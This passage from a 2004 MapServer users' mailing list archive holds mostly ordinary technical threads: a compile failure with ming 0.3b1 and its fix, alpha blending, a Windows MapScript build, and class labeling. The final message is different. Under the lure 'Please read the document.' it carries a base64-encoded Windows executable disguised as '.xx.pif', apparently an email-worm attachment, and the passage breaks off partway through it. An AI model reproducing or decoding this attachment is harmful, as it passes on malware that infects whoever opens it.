-DUSE_EPPL -DUSE_PROJ = -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_MING_FLASH -DUSE_GD_PNG = -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR -DUSE_GDAL = -DUSE_POSTGIS -I/usr/src/BuildSmit/mapserver-4.2b1/../gd-2.0.22 = -I/usr/src/BuildSmit/mapserver-4.2b1/../proj-4.4.5//src = -I/usr/local/include -I/usr/local/pgsql-7.4.1/include mapswf.c -o = mapswf.o cc1: warning: changing search order for system directory = "/usr/local/include" cc1: warning: as it has already been specified as a non-system = directory mapswf.c: In function `BuildButtonFromGD': mapswf.c:444: warning: passing arg 2 of `SWFButton_addShape' from = incompatible pointer type mapswf.c: In function `BuildEllipseButton': mapswf.c:529: warning: passing arg 2 of `SWFButton_addShape' from = incompatible pointer type mapswf.c:534: warning: passing arg 2 of `SWFButton_addShape' from = incompatible pointer type mapswf.c: In function `BuildButtonPolygon': mapswf.c:720: warning: passing arg 2 of `SWFButton_addShape' from = incompatible pointer type mapswf.c:727: warning: passing arg 2 of `SWFButton_addShape' from = incompatible pointer type mapswf.c:731: warning: passing arg 2 of `SWFButton_addShape' from = incompatible pointer type mapswf.c: In function `BuildButtonLine': mapswf.c:782: warning: passing arg 2 of `SWFButton_addShape' from = incompatible pointer type mapswf.c:788: warning: passing arg 2 of `SWFButton_addShape' from = incompatible pointer type mapswf.c: In function `msImageStartLayerSWF': mapswf.c:973: warning: passing arg 2 of `SWFMovie_add' from incompatible = pointer type mapswf.c:977: warning: passing arg 2 of `SWFMovie_add' from incompatible = pointer type mapswf.c:983: warning: passing arg 2 of `SWFMovie_add' from incompatible = pointer type mapswf.c:988: warning: passing arg 2 of `SWFMovie_add' from incompatible = pointer type mapswf.c: In function `msDrawStartShapeSWF': ..... ./configure --with-proj=3D../proj-4.4.5/ --with-php=3D../php-4.3.6/ = --with-postgis=3D/usr/local/pgsql-7.4.1/bin/pg_config -with-freetype=3D../freetype-2.0.5 --with-gd=3Dstatic,../gd-2.0.22 = --without-tiff --with-gdal=3D/usr/local/bin/gdal-config = --with-ogr=3D/usr/local/bin/gdal-config --with-ming=3D../ming-03beta1/src Thanks in advance ------=_NextPart_000_13D2_01C4376A.CF9CFE50 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi,
 
I'm trying to compile mapserver 4.2b1 = with ming=20 0.3b1 and the compiler return me the = followig error:
 
....
cc1: warning: changing search order for = system=20 directory "/usr/local/include"
cc1: warning:   as it has = already=20 been specified as a non-system directory
gcc -c -O2  -Wall=20 -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H=20 -DUSE_WMS_SVR    -DUSE_MING_FLASH    = -DUSE_GD_PNG=20 -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT   -DUSE_OGR -DUSE_GDAL = -DUSE_POSTGIS   =20 -I/usr/src/BuildSmit/mapserver-4.2b1/../gd-2.0.22 =20 -I/usr/src/BuildSmit/mapserver-4.2b1/../proj-4.4.5//src   =    =20 -I/usr/local/include = -I/usr/local/pgsql-7.4.1/include    =20 mapswf.c -o mapswf.o
cc1: warning: changing search order for system = directory=20 "/usr/local/include"
cc1: warning:   as it has already been = specified as a non-system directory
mapswf.c: In function=20 `BuildButtonFromGD':
mapswf.c:444: warning: passing arg 2 of=20 `SWFButton_addShape' from incompatible pointer type
mapswf.c: In = function=20 `BuildEllipseButton':
mapswf.c:529: warning: passing arg 2 of=20 `SWFButton_addShape' from incompatible pointer type
mapswf.c:534: = warning:=20 passing arg 2 of `SWFButton_addShape' from incompatible pointer=20 type
mapswf.c: In function `BuildButtonPolygon':
mapswf.c:720: = warning:=20 passing arg 2 of `SWFButton_addShape' from incompatible pointer=20 type
mapswf.c:727: warning: passing arg 2 of `SWFButton_addShape' = from=20 incompatible pointer type
mapswf.c:731: warning: passing arg 2 of=20 `SWFButton_addShape' from incompatible pointer type
mapswf.c: In = function=20 `BuildButtonLine':
mapswf.c:782: warning: passing arg 2 of=20 `SWFButton_addShape' from incompatible pointer type
mapswf.c:788: = warning:=20 passing arg 2 of `SWFButton_addShape' from incompatible pointer=20 type
mapswf.c: In function `msImageStartLayerSWF':
mapswf.c:973: = warning:=20 passing arg 2 of `SWFMovie_add' from incompatible pointer = type
mapswf.c:977:=20 warning: passing arg 2 of `SWFMovie_add' from incompatible pointer=20 type
mapswf.c:983: warning: passing arg 2 of `SWFMovie_add' from = incompatible=20 pointer type
mapswf.c:988: warning: passing arg 2 of `SWFMovie_add' = from=20 incompatible pointer type
mapswf.c: In function=20 `msDrawStartShapeSWF':
.....
 
./configure = --with-proj=3D../proj-4.4.5/=20 --with-php=3D../php-4.3.6/ =20 --with-postgis=3D/usr/local/pgsql-7.4.1/bin/pg_config
-with-freetype=3D= ../freetype-2.0.5=20 --with-gd=3Dstatic,../gd-2.0.22=20 --without-tiff
--with-gdal=3D/usr/local/bin/gdal-config=20 --with-ogr=3D/usr/local/bin/gdal-config
 
--with-ming=3D../ming-03beta1/src
 
Thanks in advance
 
 
------=_NextPart_000_13D2_01C4376A.CF9CFE50-- From bartvde at xs4all.nl Tue May 11 06:12:14 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Tue, 11 May 2004 15:12:14 +0200 (CEST) Subject: [Mapserver-users] alpha blending Message-ID: <9227.212.238.227.182.1084281134.squirrel@webmail.xs4all.nl> Hi list, what are the current alpha blending capabilities of Mapserver? I saw an e-mail from Frank Warmerdam from 2002 in which he states: "I would like to see Map file color keywords be able to specify an RGBA color, instead of just RGB but even then alpha blending can only practically be done on 24bit output, not colormap output files." But AFAIK nothing has been pursued in this direction. The current state of GD would make this possible. So my impression is that alpha blending is only possible for raster layers at the moment and not for vector layers. Is this impression correct? Are there any plans to support the RGBA colors in the MAP file? Best regards, Bart From ianm at itee.uq.edu.au Tue May 11 06:26:12 2004 From: ianm at itee.uq.edu.au (Ian MacColl) Date: Tue, 11 May 2004 23:26:12 +1000 Subject: [Mapserver-users] Re: help installing mapserver with ming In-Reply-To: <139801c43751$0c331710$0501a8c0@comai04> References: <139801c43751$0c331710$0501a8c0@comai04> Message-ID: On 11/05/2004, at 10:11 PM, Bonnin S. wrote: > Did you solve your problem? If yes, how? Yes and no. I gave up (for now) Ian From nicolas at maich.gr Tue May 11 06:50:10 2004 From: nicolas at maich.gr (Nicolas Boretos) Date: Tue, 11 May 2004 16:50:10 +0300 Subject: [Mapserver-users] Tcl MapScript for Windows Available In-Reply-To: <40A0CD63.70708@pobox.com> References: <40A0CD63.70708@pobox.com> Message-ID: <40A0DA12.4070900@maich.gr> Hi Folks, Franks recent post prompted me to notify of a windows version of mapscript I've built usin the msys toolchain. Also included is a statically linked mapserv.exe and associates, build with GDAL/OGR, WMS/WFS and Postgis. Postgis, shape and WMS has been initially tested and seem to work. Used the 4.0.1 release of ms Pdf functionality is included, but requires the pdflib.dll... Tclmapscript is built with stubs and loads with tclkit as well. Is there somewhere that I can upload this stuff, ms site/frank? regards, nicolas boretos From denlalonde at yahoo.com Tue May 11 06:32:41 2004 From: denlalonde at yahoo.com (Denis Lalonde) Date: Tue, 11 May 2004 06:32:41 -0700 (PDT) Subject: [Mapserver-users] layer auto-labeling Message-ID: <20040511133241.76091.qmail@web41601.mail.yahoo.com> --0-1273827673-1084282361=:75760 Content-Type: text/plain; charset=us-ascii Hello All, Maybee I'm missing something but, if I have a layer having 10 classes that I want to label... do I have to define the label in all 10 classes to get all labels to appear? Or is there a way to define the label once within a layer? Thanks, Denis Denis Lalonde DBx GEOMATICS Inc. 37 St-Joseph Boul, floor 2 Gatineau, QC, J8Y 3V8 Tel: 819-772-2000 x23 Fax: 819-772-2001 dl at dbxgeomatics.com http://www.dbxgeomatics.com --------------------------------- Do you Yahoo!? Win a $20,000 Career Makeover at Yahoo! HotJobs --0-1273827673-1084282361=:75760 Content-Type: text/html; charset=us-ascii
Hello All,
 
Maybee I'm missing something but, if I have a layer having 10 classes that I want to label... do I have to define the label in all 10 classes to get all labels to appear? Or is there a way to define the label once within a layer?
 
Thanks,
Denis
 

Denis Lalonde

DBx GEOMATICS Inc.

37 St-Joseph Boul, floor 2

Gatineau, QC, J8Y 3V8

Tel: 819-772-2000 x23

Fax: 819-772-2001

dl at dbxgeomatics.com

http://www.dbxgeomatics.com


Do you Yahoo!?
Win a $20,000 Career Makeover at Yahoo! HotJobs --0-1273827673-1084282361=:75760-- From assefa at dmsolutions.ca Tue May 11 07:01:11 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Tue, 11 May 2004 10:01:11 -0400 Subject: [Mapserver-users] MS 4.2b1 and ming 0.3b1 (compile problem) In-Reply-To: <13d501c4375a$0c206350$0501a8c0@comai04> References: <13d501c4375a$0c206350$0501a8c0@comai04> Message-ID: <40A0DCA7.1030501@dmsolutions.ca> Header files have changed between 0.2 and 0.3. I commited mapswf.c so It can build with the 0.3. There are ifdef in the code (#ifdef MING_VERSION_03). The windows makfile have been updated to include the following directive MING_VERSION=-DMING_VERSION_03. I have not done much tests with the 0.3 version though. Later, Bonnin S. wrote: > Hi, > > I'm trying to compile mapserver 4.2b1 with ming 0.3b1 and the compiler > return me the followig error: > > .... > cc1: warning: changing search order for system directory > "/usr/local/include" > cc1: warning: as it has already been specified as a non-system directory > gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ > -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_MING_FLASH -DUSE_GD_PNG > -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR -DUSE_GDAL > -DUSE_POSTGIS -I/usr/src/BuildSmit/mapserver-4.2b1/../gd-2.0.22 > -I/usr/src/BuildSmit/mapserver-4.2b1/../proj-4.4.5//src > -I/usr/local/include -I/usr/local/pgsql-7.4.1/include mapswf.c -o > mapswf.o > cc1: warning: changing search order for system directory > "/usr/local/include" > cc1: warning: as it has already been specified as a non-system directory > mapswf.c: In function `BuildButtonFromGD': > mapswf.c:444: warning: passing arg 2 of `SWFButton_addShape' from > incompatible pointer type > mapswf.c: In function `BuildEllipseButton': > mapswf.c:529: warning: passing arg 2 of `SWFButton_addShape' from > incompatible pointer type > mapswf.c:534: warning: passing arg 2 of `SWFButton_addShape' from > incompatible pointer type > mapswf.c: In function `BuildButtonPolygon': > mapswf.c:720: warning: passing arg 2 of `SWFButton_addShape' from > incompatible pointer type > mapswf.c:727: warning: passing arg 2 of `SWFButton_addShape' from > incompatible pointer type > mapswf.c:731: warning: passing arg 2 of `SWFButton_addShape' from > incompatible pointer type > mapswf.c: In function `BuildButtonLine': > mapswf.c:782: warning: passing arg 2 of `SWFButton_addShape' from > incompatible pointer type > mapswf.c:788: warning: passing arg 2 of `SWFButton_addShape' from > incompatible pointer type > mapswf.c: In function `msImageStartLayerSWF': > mapswf.c:973: warning: passing arg 2 of `SWFMovie_add' from incompatible > pointer type > mapswf.c:977: warning: passing arg 2 of `SWFMovie_add' from incompatible > pointer type > mapswf.c:983: warning: passing arg 2 of `SWFMovie_add' from incompatible > pointer type > mapswf.c:988: warning: passing arg 2 of `SWFMovie_add' from incompatible > pointer type > mapswf.c: In function `msDrawStartShapeSWF': > ..... > > ./configure --with-proj=../proj-4.4.5/ --with-php=../php-4.3.6/ > --with-postgis=/usr/local/pgsql-7.4.1/bin/pg_config > -with-freetype=../freetype-2.0.5 --with-gd=static,../gd-2.0.22 > --without-tiff > --with-gdal=/usr/local/bin/gdal-config --with-ogr=/usr/local/bin/gdal-config > > --with-ming=../ming-03beta1/src > > Thanks in advance > > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From llo at carlbro.dk Tue May 11 07:48:24 2004 From: llo at carlbro.dk (llo at carlbro.dk) Date: Tue, 11 May 2004 16:48:24 +0200 Subject: [Mapserver-users] Re: document Message-ID: <200405111449.i4BEnpFS013042@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0002_000060D2.00002A0B Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Please read the document. ------=_NextPart_000_0002_000060D2.00002A0B Content-Type: application/octet-stream; name=".xx.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=".xx.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAqAAAAERuqUgAD8cbAA/HGwAPxxuDE8kbDA/HG+gQzRsZD8cbgweaGwIPxxsAD8cb Aw/HGwAPxhtcD8cbYhDUGwkPxxvoEMwbBQ/HG1JpY2gAD8cbAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAUEUAAEwBBAAf4YJAAAAAAAAAAADgAA8BCwEGAAAAAAAAAhgAAAAAAKKLGAAAEAAA AGAAAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAoBgAAAQAAAoyAQACAAAAAAAQAAAQ AAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAACyixgAnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAE6MGAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAudGV4dAAAAABQAAAAEAAA ADAAAAAEAAAAAAAAAAAAAAAAAABAAADALnJkYXRhAAAAEAAAAGAAAAAGAAAANAAAAAAAAAAA AAAAAAAAQAAAwC5kYXRhAAAAAAAYAABwAAAACgAAADoAAAAAAAAAAAAAAAAAAEAAAMAAAAAA AAAAAAAwAAAAcBgAACIAAABEAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 